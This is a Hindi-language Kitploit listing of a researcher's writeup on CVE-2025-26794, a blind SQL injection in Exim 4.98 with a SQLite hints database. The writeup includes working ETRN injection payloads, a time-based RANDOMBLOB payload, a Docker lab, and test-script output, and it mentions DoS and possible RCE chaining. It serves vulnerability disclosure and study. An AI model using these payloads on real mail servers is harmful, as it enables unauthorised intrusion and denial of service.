Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-26794 — CVE-2025-26794: Blind SQL injection in Exim 4.98 (SQLite DBM)- exploit writeup | Kitploit
उपकरण/GitHubGitHub/oscarbataille/cve-2025-26794
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase SecurityLabs & Practice
GitHuboscarbataille/cve-2025-26794

CVE-2025-26794

CVE-2025-26794: Blind SQL injection in Exim 4.98 (SQLite DBM)- exploit writeup

रिपॉजिटरी देखें
151 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-26794: Exim 4.98 में ब्लाइंड SQL इंजेक्शन (SQLite DBM) - शोषण विवरण

Exim रिपोर्ट: https://www.exim.org/static/doc/security/CVE-2025-26794.txt

मैंने मैन्युअल कोड समीक्षा के माध्यम से इस भेद्यता की खोज की।

भेद्यता विवरण:

मुद्दा

SQL पैरामीटर्स, जब SQLite को DBM के रूप में उपयोग किया जाता है, ठीक से सैनिटाइज़ नहीं किए जाते हैं। इसके परिणामस्वरूप दूरस्थ उपयोगकर्ता द्वारा कस्टम SQLite क्वेरीज़ बनाने की संभावना उत्पन्न होती है।

आवश्यकताएँ:

  • Exim को "USE_SQLITE = yes" के साथ कंपाइल करें। यह SQLite को डेटाबेस मैनेजर (DBM) के रूप में सेट करेगा।
  • ETRN कमांड को सक्षम करें। इसके लिए, आपको कॉन्फ़िगरेशन फ़ाइल में "acl_smtp_etrn" सेट करना होगा।

PoC

परिचय

Exim आंतरिक की:वैल्यू स्टोरेज (जिसे HintsDB कहा जाता है) के लिए एक आंतरिक डेटाबेस का उपयोग करता है, जो बिल्ड-टाइम पर सेट किए जाने वाले विभिन्न बैकएंड का समर्थन करता है। सबसे हालिया जोड़ SQLite था। इसका उपयोग निम्नलिखित को स्टोर करने के लिए किया जाता है:

  • TLS सत्र
  • दर सीमाओं के बारे में जानकारी
  • पुनर्प्रयासों के बारे में जानकारी
  • ETRN कमांड और SMTP डिलीवरी के लिए सेमाफोर (enq_start() के साथ)
  • परिवहन के लिए समवर्ती सीमाओं के बारे में जानकारी
  • ईमेल डिलीवरी के लिए "प्रतीक्षा डेटाबेस" जो एक परिवहन द्वारा स्थगित की गई थीं
  • PIPECONNECT के लिए: दूरस्थ सर्वरों के EHLO प्रतिक्रियाओं का कैशिंग

प्रभावित फ़ाइल hintsdb.h है। इसे नवीनतम कमिट में एक अलग फ़ाइल (hints_sqlite.h) में स्थानांतरित कर दिया गया था। केवल SQLite फ़ंक्शन प्रभावित हैं (उदाहरण फ़ंक्शन: exim_s_dbp)।

root@kitploit:~
 static inline int
exim_s_dbp(EXIM_DB * dbp, EXIM_DATUM * key, EXIM_DATUM * data, const uschar * alt)
{
int hlen = data->len * 2, off = 0, res;
# define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
[...]
qry = string_sprintf(FMT, alt, (int) key->len, key->data, hlen, hex);
[...]
res = sqlite3_exec(dbp, CS qry, NULL, NULL, NULL);
[...]

इनपुट कुंजी ठीक से एस्केप नहीं की गई है। इसलिए, यदि हम कुंजी को नियंत्रित करने में सफल होते हैं, तो हम किसी भी SQLite कोड को इंजेक्ट करने में सक्षम होंगे।

शोषण

RFC1985 SMTP ETRN कमांड को परिभाषित करता है, "जिसके द्वारा एक क्लाइंट सर्वर से अनुरोध कर सकता है कि वह अपने मेल कतारों का प्रसंस्करण उन संदेशों के लिए प्रारंभ करे जो सर्वर पर क्लाइंट मशीन की प्रतीक्षा कर रहे हैं"। इसका उपयोग SMTP कमांड के साथ किया जाता है: ETRN #domain.com।

Exim में, ETRN कमांड HintsDB में एक सेमाफोर सेट करता है ताकि एक साथ कई ETRN कमांड चलने से बचा जा सके। यह सेमाफोर enq_start(keyname, value) फ़ंक्शन द्वारा कार्यान्वित किया जाता है जो "misc" डेटाबेस में एक नई प्रविष्टि बनाता है।

root@kitploit:~
etrn_serialize_key = string_sprintf("etrn-%s\n", smtp_cmd_data);

[...]

if (smtp_etrn_serialize && !enq_start(etrn_serialize_key, 1))
{
	smtp_printf("458 Already processing %s\r\n", SP_NO_MORE, smtp_cmd_data);
	break;
}

उदाहरण के लिए, SMTP कमांड ETRN #test.com SQLite "misc" डेटाबेस में "etrn-#test.com" कुंजी और मान 1 के साथ एक अस्थायी DB प्रविष्टि बनाएगा।

ETRN कमांड प्रसंस्करण के अंत में, DB प्रविष्टि हटा दी जाएगी:

root@kitploit:~
enq_end(etrn_serialize_key);

चूंकि हम कुंजी को नियंत्रित करते हैं, हम निम्नलिखित SMTP कमांड के साथ अपना स्वयं का SQL कोड इंजेक्ट कर सकते हैं:

root@kitploit:~
ETRN #',1); ## INSERT SQL HERE ##  /*

चूंकि कोई आउटपुट नहीं है, हम इस भेद्यता का दूरस्थ रूप से परीक्षण करने के लिए एक समय-आधारित SQLi पेलोड सबमिट कर सकते हैं:

root@kitploit:~
ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*

प्रभाव

  • मैं ATTACH DATABASE के साथ अन्य स्थानीय SQLite डेटाबेस (जिन तक Exim उपयोगकर्ता की पहुंच है) से कनेक्ट करने में सक्षम था, मुझे लगता है कि हम शायद अन्य DB के साथ छेड़छाड़ करके Exim में किसी रेस कंडीशन का शोषण कर सकते हैं ताकि कुछ अपरिभाषित व्यवहार को ट्रिगर किया जा सके। यह अभी भी बहुत काल्पनिक है।
  • हमारे पास SQLite के संपूर्ण आक्रमण सतह तक भी पहुंच है। हम RCE प्राप्त करने के लिए इस शोषण को SQLite शोषण के साथ जोड़ सकते हैं।

शोषण सीमाएँ:

  • dbm, dmbjz, dbmnz लुकअप प्रकार कॉन्फ़िगर किए गए DBM (इस मामले में SQLite) का उपयोग करते हैं जो आक्रमण सतह को काफी बढ़ा सकता है। मैंने शोषण का परीक्षण नहीं किया। हालांकि, जब SQLite को DBM के रूप में सेट किया जाता है तो dbm लुकअप का उपयोग असंभव लगता है।
  • मुझे लगता है कि ETRN कमांड को सक्षम करना काफी दुर्लभ है (और काफी पुराना है)। मुझे कोड में कहीं और उपयोगकर्ता इनपुट नहीं मिला जो क्वेरी स्ट्रिंग बनाने के लिए उपयोग किया जाता है।
  • मुझे लगता है कि DBM के रूप में SQLite समर्थन को सक्षम करना काफी दुर्लभ है क्योंकि यह बहुत हाल ही का है।
  • मुझे लगता है कि DBM के रूप में SQLite का उपयोग करना भी काफी दुर्लभ है क्योंकि इसे केवल नवीनतम Exim संस्करण में जोड़ा गया था। इसलिए मुझे संदेह है कि शोषण की इस विधि का वास्तविक दुनिया में उपयोग किया गया है। हालांकि, यह एक गंभीर भेद्यता है।

इसका मतलब है कि हम आसानी से DoS (उदाहरण: डिस्क भरना) कर सकते हैं, लेकिन इसे रिमोट कोड एक्ज़ीक्यूशन तक बढ़ाने के लिए अधिक काम की आवश्यकता होगी, लेकिन यह संभव हो सकता है।

बग को पुन: उत्पन्न करना

यहाँ इस भेद्यता को पुन: उत्पन्न करने में मदद करने के लिए एक स्थानीय Docker लैब है।

Exim को बनाएँ और प्रारंभ करें

  1. git clone [email protected]:OscarBataille/CVE-2025-26794.git
  2. cd CVE-2025-26794/docker_lab
  3. bash docker.sh कंटेनर का निर्माण करेगा और आपको इसमें लॉग इन करेगा
  4. कंटेनर के अंदर bash start-exim.sh exim सर्वर प्रारंभ करने के लिए

EXIM सर्वर से कनेक्ट करें

  1. Netcat से कनेक्ट करें: nc 127.0.0.1 25
  2. 220 55c3a4b2466a ESMTP Exim 4.98-XX Sat, 22 Feb 2025 14:31:50 +0000
  3. ETRN कमांड जारी करें: ETRN #'
  4. इस पंक्ति के लिए Exim लॉग जाँचें: sqlite3_exec: near "', X'": syntax error

सर्वर का परीक्षण

मैंने इस भेद्यता का दूरस्थ परीक्षण करने के लिए एक स्क्रिप्ट test.py विकसित की है।

root@kitploit:~
python3 docker_lab/test.py <host>

उदाहरण:

root@kitploit:~
oscar@LAPTOP:~/CVE-2025-26794$ python3 docker_lab/test.py 127.0.0.1
Server banner: 220 e2d34a592d06 ESMTP Exim 4.98-XX Wed, 19 Mar 2025 07:02:13 +0000

Client:  ETRN #

ETRN response: 458 Already processing
 Time: 0.006737470626831055

Client:  ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*

ETRN response: 250 OK
 Time: 1.073132038116455

!! Vulnerable
टूल डाउनलोड करें